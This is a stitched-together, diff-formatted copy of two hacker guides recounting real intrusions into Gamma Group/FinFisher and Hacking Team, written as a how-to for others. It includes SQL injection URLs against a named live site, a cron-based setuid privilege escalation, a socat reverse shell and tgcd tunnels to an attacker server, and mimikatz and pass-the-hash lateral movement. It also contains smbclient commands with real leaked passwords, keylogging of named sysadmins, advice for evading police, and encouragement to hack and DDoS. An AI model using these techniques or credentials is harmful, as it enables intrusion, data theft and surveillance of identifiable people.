+devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's
+default password.
+
+3) Is it running an old version of software vulnerable to a public exploit?
+
+
+Webservers deserve their own category. For any webservers, including ones nmap
+will often find running on nonstandard ports, I usually:
+
+1) Browse them. Especially on subdomains that fierce finds which aren't intended
+for public viewing like test.company.com or dev.company.com you'll often find
+interesting stuff just by looking at them.
+
+2) Run nikto [0]. This will check for things like webserver/.svn/,
+webserver/backup/, webserver/phpinfo.php, and a few thousand other common
+mistakes and misconfigurations.
+
+3) Identify what software is being used on the website. WhatWeb is useful [1]
+
+4) Depending on what software the website is running, use more specific tools
+like wpscan [2], CMS-Explorer [3], and Joomscan [4].
+
+First try that against all services to see if any have a misconfiguration,
+publicly known vulnerability, or other easy way in. If not, it's time to move
+on to finding a new vulnerability:
+
+5) Custom coded web apps are more fertile ground for bugs than large widely used
+projects, so try those first. I use ZAP [5], and some combination of its
+automated tests along with manually poking around with the help of its
+intercepting proxy.
+
+6) For the non-custom software they're running, get a copy to look at.  If it's
+free software you can just download it. If it's proprietary you can usually
+pirate it. If it's proprietary and obscure enough that you can't pirate it you
+can buy it (lame) or find other sites running the same software using google,
+find one that's easier to hack, and get a copy from them.

+[4] http://sourceforge.net/projects/joomscan/
+[5] https://code.google.com/p/zaproxy/
+
+
+For finsupport.finfisher.com the process was:
+
+* Start nikto running in the background.
+
+* Visit the website. See nothing but a login page. Quickly check for sqli in the
+  login form.
+
+* See if WhatWeb knows anything about what software the site is running.
+
+* WhatWeb doesn't recognize it, so the next question I want answered is if this
+  is a custom website by Gamma, or if there are other websites using the same
+  software.
+
+* I view the page source to find a URL I can search on (index.php isn't
+  exactly unique to this software). I pick Scripts/scripts.js.php, and google:
+  allinurl:"Scripts/scripts.js.php"
+
+* I find there's a handful of other sites using the same software, all coded by
+  the same small webdesign firm. It looks like each site is custom coded but
+  they share a lot of code. So I hack a couple of them to get a collection of
+  code written by the webdesign firm.
+
+At this point I can see the news stories that journalists will write to drum
+up views: "In a sophisticated, multi-step attack, hackers first compromised a
+web design firm in order to acquire confidential data that would aid them in
+attacking Gamma Group..."
+
+But it's really quite easy, done almost on autopilot once you get the hang of
+it. It took all of a couple minutes to:
+
+* google allinurl:"Scripts/scripts.js.php" and find the other sites
+
+* Notice they're all sql injectable in the first url parameter I try.
+
+* Realize they're running Apache ModSecurity so I need to use sqlmap [0] with
+  the option --tamper='tamper/modsecurityversioned.py'
+
+* Acquire the admin login information, login and upload a php shell [1] (the
+  check for allowable file extensions was done client side in javascript), and
+  download the website's source code.
+
+[0] http://sqlmap.org/
+[1] https://epinna.github.io/Weevely/
+
+Looking through the source code they might as well have named it Damn Vulnerable
+Web App v2 [0]. It's got sqli, LFI, file upload checks done client side in
+javascript, and if you're unauthenticated the admin page just sends you back to
+the login page with a Location header, but you can have your intercepting proxy
+filter the Location header out and access it just fine.
+
+[0] http://www.dvwa.co.uk/
+
+Heading back over to the finsupport site, the admin /BackOffice/ page returns
+403 Forbidden, and I'm having some issues with the LFI, so I switch to using the
+sqli (it's nice to have a dozen options to choose from). The other sites by the
+web designer all had an injectable print.php, so some quick requests to:
+https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
+https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
+reveal that finsupport also has print.php and it is injectable. And it's
+database admin! For MySQL this means you can read and write files. It turns out
+the site has magicquotes enabled, so I can't use INTO OUTFILE to write files.
+But I can use a short script that uses sqlmap --file-read to get the php source
+for a URL, and a normal web request to get the HTML, and then finds files
+included or required in the php source, and finds php files linked in the HTML,
+to recursively download the source to the whole site.
+
+Looking through the source, I see customers can attach a file to their support
+tickets, and there's no check on the file extension. So I pick a username and
+password out of the customer database, create a support request with a php shell
+attached, and I'm in!

+
+finsupport was running the latest version of Debian with no local root exploits,
+but unix-privesc-check returned:
+WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
+www-data can write to /etc/cron.hourly/mgmtlicensestatus
+WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
+can write to /etc/cron.hourly/webalizer
+
+so I add to /etc/cron.hourly/webalizer:
+chown root:root /path/to/my_setuid_shell
+chmod 04755 /path/to/my_setuid_shell
+
+wait an hour, and ....nothing. Turns out that while the cron process is running
+it doesn't seem to be actually running cron jobs. Looking in the webalizer
+directory shows it didn't update stats the previous month. Apparently after
+updating the timezone cron will sometimes run at the wrong time or sometimes not
+run at all and you need to restart cron after changing the timezone. ls -l
+/etc/localtime shows the timezone got updated June 6, the same time webalizer
+stopped recording stats, so that's probably the issue. At any rate, the only
+thing this server does is host the website, so I already have access to
+everything interesting on it. Root wouldn't get much of anything new, so I move
+on to the rest of the network.
+
+
+--[ 6 ]-- Pivoting
+
+The next step is to look around the local network of the box you hacked.  This
+is pretty much the same as the first Scanning & Exploiting step, except that
+from behind the firewall many more interesting services will be exposed. A
+tarball containing a statically linked copy of nmap and all its scripts that you
+can upload and run on any box is very useful for this. The various nfs-* and
+especially smb-* scripts nmap has will be extremely useful.
+
+The only interesting thing I could get on finsupport's local network was another
+webserver serving up a folder called 'qateam' containing their mobile malware.
+
+
+--[ 7 ]-- Have Fun
+
+Once you're in their networks, the real fun starts. Just use your imagination.
+While I titled this a guide for wannabe whistleblowers, there's no reason to
+limit yourself to leaking documents. My original plan was to:
+1) Hack Gamma and obtain a copy of the FinSpy server software
+2) Find vulnerabilities in FinSpy server.
+3) Scan the internet for, and hack, all FinSpy C&C servers.
+4) Identify the groups running them.
+5) Use the C&C server to upload and run a program on all targets telling them
+   who was spying on them.
+6) Use the C&C server to uninstall FinFisher on all targets.
+7) Join the former C&C servers into a botnet to DDoS Gamma Group.
+
+It was only after failing to fully hack Gamma and ending up with some
+interesting documents but no copy of the FinSpy server software that I had to
+make due with the far less lulzy backup plan of leaking their stuff while
+mocking them on twitter.
+Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
+already so I can move on to step 2!
+
+
+--[ 8 ]-- Other Methods
+
+The general method I outlined above of scan, find vulnerabilities, and exploit
+is just one way to hack, probably better suited to those with a background in
+programming. There's no one right way, and any method that works is as good as
+any other. The other main ways that I'll state without going into detail are:
+
+1) Exploits in web browers, java, flash, or microsoft office, combined with
+emailing employees with a convincing message to get them to open the link or
+attachment, or hacking a web site frequented by the employees and adding the
+browser/java/flash exploit to that.
+This is the method used by most of the government hacking groups, but you don't
+need to be a government with millions to spend on 0day research or subscriptions
+to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
+for a couple thousand, and rent access to one for much less. There's also
+metasploit browser autopwn, but you'll probably have better luck with no
+exploits and a fake flash updater prompt.
+
+2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
+of the time.
+The infosec industry invented a term to make this sound like some sort of
+science: "Social Engineering". This is probably the way to go if you don't know
+too much about computers, and it really is all it takes to be a successful
+hacker [0].

+
+--[ 10 ]-- Outro
+
+You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a
+tool. It's not selling hacking tools that makes Gamma evil. It's who their
+customers are targeting and with what purpose that makes them evil. That's not
+to say that tools are inherently neutral. Hacking is an offensive tool. In the
+same way that guerrilla warfare makes it harder to occupy a country, whenever
+it's cheaper to attack than to defend it's harder to maintain illegitimate
+authority and inequality. So I wrote this to try to make hacking easier and more
+accessible. And I wanted to show that the Gamma Group hack really was nothing
+fancy, just standard sqli, and that you do have the ability to go out and take
+similar action.
+
+Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
+Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
+hackers, dissidents, and criminals!

+
+--[ 1 - Introduction ]----------------------------------------------------------
+
+You'll notice the change in language since the last edition [1]. The
+English-speaking world already has tons of books, talks, guides, and
+info about hacking. In that world, there's plenty of hackers better than me,
+but they misuse their talents working for "defense" contractors, for intelligence
+agencies, to protect banks and corporations, and to defend the status quo.
+Hacker culture was born in the US as a counterculture, but that origin only
+remains in its aesthetics - the rest has been assimilated. At least they can
+wear a t-shirt, dye their hair blue, use their hacker names, and feel like
+rebels while they work for the Man.
+
+You used to have to sneak into offices to leak documents [2]. You used to need
+a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
+Like the CNT said after the Gamma Group hack: "Let's take a step forward with
+new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight!

+--[ 2 - Hacking Team ]----------------------------------------------------------
+
+Hacking Team was a company that helped governments hack and spy on
+journalists, activists, political opposition, and other threats to their power
+[1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
+and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
+fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende
+RCS". They also claimed to have technology to solve the "problem" posed by Tor
+and the darknet [13]. But seeing as I'm still free, I have my doubts about
+its effectiveness.

+
+--[ 3 - Stay safe out there ]---------------------------------------------------
+
+Unfortunately, our world is backwards. You get rich by doing bad things and go
+to jail for doing good. Fortunately, thanks to the hard work of people like
+the Tor project [1], you can avoid going to jail by taking a few simple
+precautions:
+
+1) Encrypt your hard disk [2]
+
+   I guess when the police arrive to seize your computer, it means you've
+   already made a lot of mistakes, but it's better to be safe.
+
+2) Use a virtual machine with all traffic routed through Tor
+
+   This accomplishes two things. First, all your traffic is anonymized through
+   Tor. Second, keeping your personal life and your hacking on separate
+   computers helps you not to mix them by accident.
+
+   You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
+   something custom [6]. Here's [7] a detailed comparison.
+
+3) (Optional) Don't connect directly to Tor
+   
+   Tor isn't a panacea. They can correlate the times you're connected to Tor
+   with the times your hacker handle is active. Also, there have been
+   successful attacks against Tor [8]. You can connect to Tor using other
+   peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for
+   cracking wifi. Another option is to connect to a VPN or a bridge node [10]
+   before Tor, but that's less secure because they can still correlate the
+   hacker's activity with your house's internet activity (this was used as
+   evidence against Jeremy Hammond [11]).
+
+   The reality is that while Tor isn't perfect, it works quite well. When I
+   was young and reckless, I did plenty of stuff without any protection (I'm
+   referring to hacking) apart from Tor, that the police tried their hardest
+   to investigate, and I've never had any problems.

+
+
+----[ 3.1 - Infrastructure ]----------------------------------------------------
+
+I don't hack directly from Tor exit nodes. They're on blacklists, they're
+slow, and they can't receive connect-backs. Tor protects my anonymity while I
+connect to the infrastructure I use to hack, which consists of:
+
+1) Domain Names
+
+   For C&C addresses, and for DNS tunnels for guaranteed egress.
+
+2) Stable Servers
+
+   For use as C&C servers, to receive connect-back shells, to launch attacks,
+   and to store the loot.
+
+3) Hacked Servers
+
+   For use as pivots to hide the IP addresses of the stable servers. And for
+   when I want a fast connection without pivoting, for example to scan ports,
+   scan the whole internet, download a database with sqli, etc.
+
+Obviously, you have to use an anonymous payment method, like bitcoin (if it's
+used carefully).
+
+
+----[ 3.2 - Attribution ]-------------------------------------------------------
+
+In the news we often see attacks traced back to government-backed hacking
+groups ("APTs"), because they repeatedly use the same tools, leave the same
+footprints, and even use the same infrastructure (domains, emails, etc).
+They're negligent because they can hack without legal consequences.
+
+I didn't want to make the police's work any easier by relating my hack of
+Hacking Team with other hacks I've done or with names I use in my day-to-day
+work as a blackhat hacker. So, I used new servers and domain names, registered
+with new emails, and payed for with new bitcoin addresses. Also, I only used
+tools that are publicly available, or things that I wrote specifically for
+this attack, and I changed my way of doing some things to not leave my usual
+forensic footprint.
+
+
+--[ 4 - Information Gathering ]-------------------------------------------------
+
+Although it can be tedious, this stage is very important, since the larger the
+attack surface, the easier it is to find a hole somewhere in it.
+
+
+----[ 4.1 - Technical Information ]---------------------------------------------
+
+Some tools and techniques are:
+
+1) Google
+
+   A lot of interesting things can be found with a few well-chosen search
+   queries. For example, the identity of DPR [1]. The bible of Google hacking
+   is the book "Google Hacking for Penetration Testers". You can find a short
+   summary in Spanish at [2].
+
+2) Subdomain Enumeration
+
+   Often, a company's main website is hosted by a third party, and you'll find
+   the company's actual IP range thanks to subdomains like mx.company.com or
+   ns1.company.com. Also, sometimes there are things that shouldn't be exposed
+   in "hidden" subdomains. Useful tools for discovering domains and subdomains
+   are fierce [3], theHarvester [4], and recon-ng [5].
+
+3) Whois lookups and reverse lookups
+
+   With a reverse lookup using the whois information from a domain or IP range
+   of a company, you can find other domains and IP ranges. As far as I know,
+   there's no free way to do reverse lookups aside from a google "hack":
+   
+   "via della moscova 13" site:www.findip-address.com
+   "via della moscova 13" site:domaintools.com
+
+4) Port scanning and fingerprinting
+
+   Unlike the other techniques, this talks to the company's servers. I
+   include it in this section because it's not an attack, it's just
+   information gathering. The company's IDS might generate an alert, but you
+   don't have to worry since the whole internet is being scanned constantly.
+
+   For scanning, nmap [6] is precise, and can fingerprint the majority of
+   services discovered. For companies with very large IP ranges, zmap [7] or
+   masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
+   sites.

+
+
+----[ 4.2 - Social Information ]------------------------------------------------
+
+For social engineering, it's useful to have information about the employees,
+their roles, contact information, operating system, browser, plugins,
+software, etc. Some resources are:
+
+1) Google
+
+   Here as well, it's the most useful tool.
+
+2) theHarvester and recon-ng
+
+   I already mentioned them in the previous section, but they have a lot more
+   functionality. They can find a lot of information quickly and
+   automatically. It's worth reading all their documentation.
+
+3) LinkedIn
+
+   A lot of information about the employees can be found here. The company's
+   recruiters are the most likely to accept your connection requests.
+
+4) Data.com
+
+   Previously known as jigsaw. They have contact information for many
+   employees.
+
+5) File Metadata
+
+   A lot of information about employees and their systems can be found in
+   metadata of files the company has published. Useful tools for finding
+   files on the company's website and extracting the metadata are metagoofil
+   [1] and FOCA [2].
+
+[1] https://github.com/laramies/metagoofil
+[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html
+
+
+--[ 5 - Entering the network ]--------------------------------------------------
+
+There are various ways to get a foothold. Since the method I used against
+Hacking Team is uncommon and a lot more work than is usually necessary, I'll
+talk a little about the two most common ways, which I recommend trying first.
+
+
+----[ 5.1 - Social Engineering ]------------------------------------------------
+
+Social engineering, specifically spear phishing, is responsible for the
+majority of hacks these days. For an introduction in Spanish, see [1]. For
+more information in English, see [2] (the third part, "Targeted Attacks"). For
+fun stories about the social engineering exploits of past generations, see
+[3]. I didn't want to try to spear phish Hacking Team, as their whole business
+is helping governments spear phish their opponents, so they'd be much more
+likely to recognize and investigate a spear phishing attempt.
+

+[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf
+
+
+----[ 5.2 - Buying Access ]-----------------------------------------------------
+
+Thanks to hardworking Russians and their exploit kits, traffic sellers, and
+bot herders, many companies already have compromised computers in their
+networks. Almost all of the Fortune 500, with their huge networks, have some
+bots already inside. However, Hacking Team is a very small company, and most
+of it's employees are infosec experts, so there was a low chance that they'd
+already been compromised.
+
+
+----[ 5.3 - Technical Exploitation ]--------------------------------------------
+
+After the Gamma Group hack, I described a process for searching for
+vulnerabilities [1]. Hacking Team had one public IP range:
+inetnum:        93.62.139.32 - 93.62.139.47
+descr:          HT public subnet
+
+Hacking Team had very little exposed to the internet. For example, unlike
+Gamma Group, their customer support site needed a client certificate to
+connect. What they had was their main website (a Joomla blog in which Joomscan
+[2] didn't find anything serious), a mail server, a couple routers, two VPN
+appliances, and a spam filtering appliance. So, I had three options: look for
+a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
+embedded devices. A 0day in an embedded device seemed like the easiest option,
+and after two weeks of work reverse engineering, I got a remote root exploit.
+Since the vulnerabilities still haven't been patched, I won't give more
+details, but for more information on finding these kinds of vulnerabilities,
+see [3] and [4].

+
+
+--[ 6 - Be Prepared ]-----------------------------------------------------------
+
+I did a lot of work and testing before using the exploit against Hacking Team.
+I wrote a backdoored firmware, and compiled various post-exploitation tools
+for the embedded device. The backdoor serves to protect the exploit. Using the
+exploit just once and then returning through the backdoor makes it harder to
+identify and patch the vulnerabilities.
+
+The post-exploitation tools that I'd prepared were:
+
+1) busybox
+
+   For all the standard Unix utilities that the system didn't have.
+
+2) nmap
+
+   To scan and fingerprint Hacking Team's internal network.
+
+3) Responder.py
+
+   The most useful tool for attacking windows networks when you have access to
+   the internal network, but no domain user.
+
+4) Python
+
+   To execute Responder.py
+
+5) tcpdump
+
+   For sniffing traffic.
+
+6) dsniff
+
+   For sniffing passwords from plaintext protocols like ftp, and for
+   arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
+   and NaGA, but it was hard to compile it for the system.
+
+7) socat
+
+   For a comfortable shell with a pty:
+   my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
+   hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
+		  tcp:my_server:my_port
+
+   And useful for a lot more, it's a networking swiss army knife. See the
+   examples section of its documentation.
+
+8) screen
+
+   Like the shell with pty, it wasn't really necessary, but I wanted to feel
+   at home in Hacking Team's network.
+
+9) a SOCKS proxy server
+
+   To use with proxychains to be able to access their local network from any
+   program.
+
+10) tgcd
+
+   For forwarding ports, like for the SOCKS server, through the firewall.

+
+
+The worst thing that could happen would be for my backdoor or post-exploitation
+tools to make the system unstable and cause an employee to investigate. So I
+spent a week testing my exploit, backdoor, and post-exploitation tools in the
+networks of other vulnerable companies before entering Hacking Team's network.
+
+
+--[ 7 - Watch and Listen ]------------------------------------------------------
+
+Now inside their internal network, I wanted to take a look around and think
+about my next step. I started Responder.py in analysis mode (-A to listen
+without sending poisoned responses), and did a slow scan with nmap.
+
+
+--[ 8 - NoSQL Databases ]-------------------------------------------------------
+
+NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
+community [1]. Just when I was worried that they'd finally patched all of the
+authentication bypass bugs in MySQL [2][3][4][5], new databases came into
+style that lack authentication by design. Nmap found a few in Hacking Team's
+internal network:
+
+27017/tcp open  mongodb       MongoDB 2.6.5
+| mongodb-databases:
+|   ok = 1
+|   totalSizeMb = 47547
+|   totalSize = 49856643072
+...
+|_    version = 2.6.5
+
+27017/tcp open  mongodb       MongoDB 2.6.5
+| mongodb-databases:
+|   ok = 1
+|   totalSizeMb = 31987
+|   totalSize = 33540800512
+|   databases
+...
+|_    version = 2.6.5
+
+They were the databases for test instances of RCS. The audio that RCS records
+is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
+from this. They were spying on themselves without meaning to.

+
+--[ 9 - Crossed Cables ]--------------------------------------------------------
+
+Although it was fun to listen to recordings and see webcam images of Hacking
+Team developing their malware, it wasn't very useful. Their insecure backups
+were the vulnerability that opened their doors. According to their
+documentation [1], their iSCSI devices were supposed to be on a separate
+network, but nmap found a few in their subnetwork 192.168.1.200/24:
+
+Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
+...
+3260/tcp open  iscsi?
+| iscsi-info:
+|   Target: iqn.2000-01.com.synology:ht-synology.name
+|     Address: 192.168.200.66:3260,0
+|_    Authentication: No authentication required
+
+Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
+...
+3260/tcp open  iscsi?
+| iscsi-info:
+|   Target: iqn.2000-01.com.synology:synology-backup.name
+|     Address: 10.0.1.72:3260,0
+|     Address: 192.168.200.72:3260,0
+|_    Authentication: No authentication required
+
+iSCSI needs a kernel module, and it would've been difficult to compile it for
+the embedded system. I forwarded the port so that I could mount it from a VPS:
+
+VPS: tgcd -L -p 3260 -q 42838
+Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
+
+VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
+
+Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
+because it thinks its IP is 192.168.200.72 instead of 127.0.0.1
+
+The way I solved it was:
+iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
+
+And now, after:
+iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
+
+...the device file appears! We mount it:
+vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
+
+and find backups of various virtual machines. The Exchange server seemed like
+the most interesting. It was too big too download, but it was possible to
+mount it remotely to look for interesting files:
+$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
+$ fdisk -l /dev/loop0
+/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT
+
+so the offset is 2048 * 512 = 1048576
+$ losetup -o 1048576 /dev/loop1 /dev/loop0
+$ mount -o ro /dev/loop1 /mnt/exchange/
+
+now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
+we find the hard disk of the VM, and mount it:
+vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
+mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
+
+...and finally we've unpacked the Russian doll and can see all the files from
+the old Exchange server in /mnt/part1

+
+
+--[ 10 - From backups to domain admin ]-----------------------------------------
+
+What interested me most in the backup was seeing if it had a password or hash
+that could be used to access the live server. I used pwdump, cachedump, and
+lsadump [1] on the registry hives. lsadump found the password to the besadmin
+service account:
+
+_SC_BlackBerry MDS Connection Service
+0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
+0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
+0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........
+
+I used proxychains [2] with the socks server on the embedded device and
+smbclient [3] to check the password:
+proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
+
+It worked! The password for besadmin was still valid, and a local admin. I
+used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
+Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
+got a bunch of passwords, including the Domain Admin:

+
+--[ 11 - Downloading the mail ]-------------------------------------------------
+
+With the Domain Admin password, I have access to the email, the heart of the
+company. Since with each step I take there's a chance of being detected, I
+start downloading their email before continuing to explore. Powershell makes
+it easy [1]. Curiously, I found a bug with Powershell's date handling. After
+downloading the emails, it took me another couple weeks to get access to the
+source code and everything else, so I returned every now and then to download
+the new emails. The server was Italian, with dates in the format
+day/month/year. I used:
+-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
+
+with New-MailboxExportRequest to download the new emails (in this case all
+mail since June 5). The problem is it says the date is invalid if you
+try a day larger than 12 (I imagine because in the US the month comes first
+and you can't have a month above 12). It seems like Microsoft's engineers only
+test their software with their own locale.

+
+
+--[ 12 - Downloading Files ]----------------------------------------------------
+
+Now that I'd gotten Domain Admin, I started to download file shares using my
+proxy and the -Tc option of smbclient, for example:
+
+proxychains smbclient '//192.168.1.230/FAE DiskStation' \
+    -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
+
+I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
+the torrent like that.
+
+
+--[ 13 - Introduction to hacking windows domains ]------------------------------
+
+Before continuing with the story of the "weones culiaos" (Hacking Team), I
+should give some general knowledge for hacking windows networks.
+
+
+----[ 13.1 - Lateral Movement ]-------------------------------------------------
+
+I'll give a brief review of the different techniques for spreading withing a
+windows network. The techniques for remote execution require the password or
+hash of a local admin on the target. By far, the most common way of obtaining
+those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
+and sekurlsa::msv, on the computers where you already have admin access. The
+techniques for "in place" movement also require administrative privileges
+(except for runas). The most important tools for privilege escalation are
+PowerUp [2], and bypassuac [3].
+
+[1] https://adsecurity.org/?page_id=1821
+[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
+[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
+
+
+Remote Movement:
+
+1) psexec
+
+   The tried and true method for lateral movement on windows. You can use
+   psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
+   invoke_psexec [4], or the builtin windows command "sc" [5]. For the
+   metasploit module, powershell empire, and pth-winexe [6], you just need the
+   hash, not the password. It's the most universal method (it works on any
+   windows computer with port 445 open), but it's also the least stealthy.
+   Event type 7045 "Service Control Manager" will appear in the event logs. In
+   my experience, no one has ever noticed during a hack, but it helps the
+   investigators piece together what the hacker did afterwards.
+
+2) WMI
+
+   The most stealthy method. The WMI service is enabled on all windows
+   computers, but except for servers, the firewall blocks it by default. You
+   can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and
+   pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin
+   wmic [5]. All except wmic just need the hash.
+
+3) PSRemoting [10]
+
+   It's disabled by default, and I don't recommend enabling new protocols.
+   But, if the sysadmin has already enabled it, it's very convenient,
+   especially if you use powershell for everything (and you should use
+   powershell for almost everything, it will change [11] with powershell 5 and
+   windows 10, but for now powershell makes it easy to do everything in RAM,
+   avoid AV, and leave a small footprint)
+
+4) Scheduled Tasks
+
+   You can execute remote programs with at and schtasks [5]. It works in the
+   same situations where you could use psexec, and it also leaves a well known
+   footprint [12].
+
+5) GPO
+
+   If all those protocols are disabled or blocked by the firewall, once you're
+   Domain Admin, you can use GPO to give users a login script, install an msi,
+   execute a scheduled task [13], or, like we'll see with the computer of
+   Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
+   open the firewall.

+
+
+"In place" Movement:
+
+1) Token Stealing
+
+   Once you have admin access on a computer, you can use the tokens of the
+   other users to access resources in the domain. Two tools for doing this are
+   incognito [1] and the mimikatz token::* commands [2].
+
+2) MS14-068
+
+   You can take advantage of a validation bug in Kerberos to generate Domain
+   Admin tickets [3][4][5].
+
+3) Pass the Hash
+
+   If you have a user's hash, but they're not logged in, you can use
+   sekurlsa::pth [2] to get a ticket for the user.
+
+4) Process Injection
+
+   Any RAT can inject itself into other processes. For example, the migrate
+   command in meterpreter and pupy [6], or the psinject [7] command in
+   powershell empire. You can inject into the process that has the token you
+   want.
+
+5) runas
+
+   This is sometimes very useful since it doesn't require admin privileges.
+   The command is part of windows, but if you don't have a GUI you can use
+   powershell [8].

+
+----[ 13.2 - Persistence ]------------------------------------------------------
+
+Once you have access, you want to keep it. Really, persistence is only a
+challenge for assholes like Hacking Team who target activists and other
+individuals. To hack companies, persistence isn't needed since companies never
+sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple
+high-uptime servers. On the off chance that they all reboot at the same time,
+I have passwords and a golden ticket [1] as backup access. You can read more
+about the different techniques for persistence in windows here [2][3][4]. But
+for hacking companies, it's not needed and it increases the risk of detection.

+
+
+----[ 13.3 - Internal reconnaissance ]------------------------------------------
+
+The best tool these days for understanding windows networks is Powerview [1].
+It's worth reading everything written by it's author [2], especially [3], [4],
+[5], and [6]. Powershell itself is also quite powerful [7]. As there are still
+many windows 2000 and 2003 servers without powershell, you also have to learn
+the old school [8], with programs like netview.exe [9] or the windows builtin
+"net view". Other techniques that I like are:
+
+1) Downloading a list of file names
+
+   With a Domain Admin account, you can download a list of all filenames in
+   the network with powerview:
+
+   Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
+   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
+   select fullname | out-file -append files.txt}
+
+   Later, you can read it at your leisure and choose which files to download.
+
+2) Reading email
+
+   As we've already seen, you can download email with powershell, and it has a
+   lot of useful information.
+
+3) Reading sharepoint
+
+   It's another place where many businesses store a lot of important
+   information. It can also be downloaded with powershell [10].
+
+4) Active Directory [11]
+
+   It has a lot of useful information about users and computers. Without being
+   Domain Admin, you can already get a lot of info with powerview and other
+   tools [12]. After getting Domain Admin, you should export all the AD
+   information with csvde or another tool.
+
+5) Spy on the employees
+
+   One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
+   (one of Hacking Team's sysadmins) gave me access to a Nagios server which
+   gave me access to the rete sviluppo (development network with the source
+   code of RCS). With a simple combination of Get-Keystrokes and
+   Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
+   [14], and GPO, you can spy on any employee, or even on the whole domain.

+--[ 14 - Hunting Sysadmins ]----------------------------------------------------
+
+Reading their documentation about their infrastructure [1], I saw that I was
+still missing access to something important - the "Rete Sviluppo", an isolated
+network with the source code for RCS. The sysadmins of a company always have
+access to everything, so I searched the computers of Mauro Romeo and Christian
+Pozzi to see how they administer the Sviluppo network, and to see if there
+were any other interesting systems I should investigate. It was simple to
+access their computers, since they were part of the windows domain where I'd
+already gotten admin access. Mauro Romeo's computer didn't have any ports
+open, so I opened the port for WMI [2] and executed meterpreter [3]. In
+addition to keylogging and screen scraping with Get-Keystrokes and
+Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
+[4], and searched for interesting files [5]. Upon seeing that Pozzi had a
+Truecrypt volume, I waited until he'd mounted it and then copied off the
+files. Many have made fun of Christian Pozzi's weak passwords (and of
+Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
+included them in the leak as a false clue, and to laugh at him. The reality is
+that mimikatz and keyloggers view all passwords equally.

+--[ 15 - The bridge ]-----------------------------------------------------------
+
+Within Christian Pozzi's Truecrypt volume, there was a textfile with many
+passwords [1]. One of those was for a Fully Automated Nagios server, which had
+access to the Sviluppo network in order to monitor it. I'd found the bridge I
+needed. The textfile just had the password to the web interface, but there was
+a public code execution exploit [2] (it's an unauthenticated exploit, but it
+requires that at least one user has a session initiated, for which I used the
+password from the textfile).

+
+
+--[ 16 - Reusing and resetting passwords ]--------------------------------------
+
+Reading the emails, I'd seen Daniele Milan granting access to git repos. I
+already had his windows password thanks to mimikatz. I tried it on the git
+server and it worked. Then I tried sudo and it worked. For the gitlab server
+and their twitter account, I used the "forgot my password" function along with
+my access to their mail server to reset the passwords.
+
+
+--[ 17 - Conclusion ]-----------------------------------------------------------
+
+That's all it takes to take down a company and stop their human rights abuses.
+That's the beauty and asymmetry of hacking: with 100 hours of work, one person
